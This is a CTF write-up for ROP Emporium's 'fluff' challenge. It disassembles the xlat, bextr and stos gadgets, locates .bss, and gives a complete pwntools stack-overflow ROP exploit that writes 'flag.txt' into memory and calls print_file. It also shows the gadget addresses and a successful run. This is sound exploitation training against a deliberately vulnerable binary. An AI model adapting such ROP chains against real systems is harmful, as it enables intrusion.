fluff
Description
This ropemporium challenge, fluff, is designed to practice working with non-standard gadgets to write data.
Exploration
questionableGadgets
1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> disass questionableGadgets
Dump of assembler code for function questionableGadgets:
0x0000000000400628 <+0>: xlat BYTE PTR ds:[rbx]
0x0000000000400629 <+1>: ret
0x000000000040062a <+2>: pop rdx
0x000000000040062b <+3>: pop rcx
0x000000000040062c <+4>: add rcx,0x3ef2
0x0000000000400633 <+11>: bextr rbx,rcx,rdx
0x0000000000400638 <+16>: ret
0x0000000000400639 <+17>: stos BYTE PTR es:[rdi],al
0x000000000040063a <+18>: ret
0x000000000040063b <+19>: nop DWORD PTR [rax+rax*1+0x0]
End of assembler dump.
Here, there are 3 gadgets: xlat
, bextr
, and stos
.
The bextr
gadget
According to this StackOverflow post, bextr
extracts bits from rcx
and stores the result in rbx
. The bits that it extracts are determined by rdx
- bits 0-7 determine the starting index and bits 8-15 determine the length.
The gadget inserts values into rdx
and rcx
, then adds 0x3ef2 to rcx
. The result of bextr
is then stored into rbx
.
The xlat
gadget
The xlat
instruction ends up just executing al = [rbx+al]
.
The stos
gadget
The stos
gadget ends up just executing [rdi] = al
and increments (or decrements) rdi
. The increment is dependent on the df
flag.
Summary
By the way, there’s also an rdi
gadget:
1
2
3
4
5
6
7
8
$ ropper -f ./fluff --search "pop rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: ./fluff
0x00000000004006a3: pop rdi; ret;
With these, we can now create a write gadget with the following:
- Use the
rdi
gadget to writerdi
. - Use the
bextr
gadget to write an address intorbx
- Use the
xlat
gadget to write[rbx]
(but we don’t knowal
) intoal
. - Use the
stos
gadget to writeal
into[rdi]
.
Repeat as necessary to write all of the bytes needed to make rdi
have the pointer to the string "flag.txt"
.
Note that since we modify al
we need to “reset” it every time we use it, and we need to determine the initial al
value.
Write location
We can use .bss
once again:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> info files
Symbols from "/home/ctf/ctf/ropemporium/fluff/fluff".
Local exec file:
`/home/ctf/ctf/ropemporium/fluff/fluff', file type elf64-x86-64.
Entry point: 0x400520
0x0000000000400238 - 0x0000000000400254 is .interp
0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag
0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id
0x0000000000400298 - 0x00000000004002d0 is .gnu.hash
0x00000000004002d0 - 0x00000000004003c0 is .dynsym
0x00000000004003c0 - 0x000000000040043b is .dynstr
0x000000000040043c - 0x0000000000400450 is .gnu.version
0x0000000000400450 - 0x0000000000400470 is .gnu.version_r
0x0000000000400470 - 0x00000000004004a0 is .rela.dyn
0x00000000004004a0 - 0x00000000004004d0 is .rela.plt
0x00000000004004d0 - 0x00000000004004e7 is .init
0x00000000004004f0 - 0x0000000000400520 is .plt
0x0000000000400520 - 0x00000000004006b2 is .text
0x00000000004006b4 - 0x00000000004006bd is .fini
0x00000000004006c0 - 0x00000000004006d0 is .rodata
0x00000000004006d0 - 0x0000000000400714 is .eh_frame_hdr
0x0000000000400718 - 0x0000000000400838 is .eh_frame
0x0000000000600df0 - 0x0000000000600df8 is .init_array
0x0000000000600df8 - 0x0000000000600e00 is .fini_array
0x0000000000600e00 - 0x0000000000600ff0 is .dynamic
0x0000000000600ff0 - 0x0000000000601000 is .got
0x0000000000601000 - 0x0000000000601028 is .got.plt
0x0000000000601028 - 0x0000000000601038 is .data
0x0000000000601038 - 0x0000000000601040 is .bss
Finding al
Script
I’ve created a script to break at the xlat
instruction.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
from pwn import *
exe = ELF("./fluff")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = gdb.debug("./fluff", '''
b *0x400628
c
''')
# good luck pwning :)
offset = 0x28
xlat_gadget = 0x400628
payload = flat({
offset: [xlat_gadget]
})
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Running
After running, we can see that al
has the value 11 when we first call the xlat
gadget.
1
2
(gdb) p $al
$1 = 11
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
from pwn import *
exe = ELF("./fluff")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
We begin by writing an address to rbx
using the bextr
gadget. By setting the start to 0x20 (32), we can avoid the 0x3ef2 altogether.
1
2
3
4
5
def write_rbx(address):
bextr_gadget = 0x40062a
rdx = 0x2020
rcx = p32(0) + p32(address)
return flat([bextr_gadget, rdx, rcx])
We then can then use the xlat
and stos
gadgets to write a byte into rdi
, which will be a shifting value based on the offset of the string.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
al = 11
rdi_gadget = 0x4006a3
def write_byte(destination, char, index):
global al
source = next(exe.search(char.encode()))
rbx_gadget = write_rbx(source-al)
al = ord(char)
xlat_gadget = 0x400628
stos_gadget = 0x400639
return flat([
rbx_gadget,
xlat_gadget,
rdi_gadget,
destination+index,
stos_gadget,
])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def main():
r = conn()
# good luck pwning :)
offset = 0x28
bss = 0x601038
payload = b"z" * offset
filename = "flag.txt"
for i, c in enumerate(filename):
payload += write_byte(bss, c, i)
payload += flat([
rdi_gadget,
bss,
exe.plt["print_file"]
])
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Running
Hilariously enough, the machine I use for CTF challenges is has an old CPU that doesn’t have the bextr
instruction. I didn’t bother testing to see whether that was the virtual machine’s fault or the CPU’s fault. I was getting a SIGILL, but I had the classic: “It works on my machine!”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[*] '/tmp/fluff/fluff'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
[+] Starting local process '/tmp/fluff/fluff': pid 1340031
[*] Switching to interactive mode
fluff by ROP Emporium
x86_64
You know changing these strings means I have to rewrite my solutions...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
[*] Process '/tmp/fluff/fluff' stopped with exit code -11 (SIGSEGV) (pid 1340031)
[*] Got EOF while sending in interactive
Conclusion
I did need to consult this writeup to determine how to get the initial al
value. I also realized that flat
doesn’t round your payload to the nearest 8 bytes. This caused an initial SIGSEGV and for my entire payload to be offset.
1
2
3
4
5
# original
rcx = flat([0x4: address])
# fixed
rcx = p32(0) + p32(address)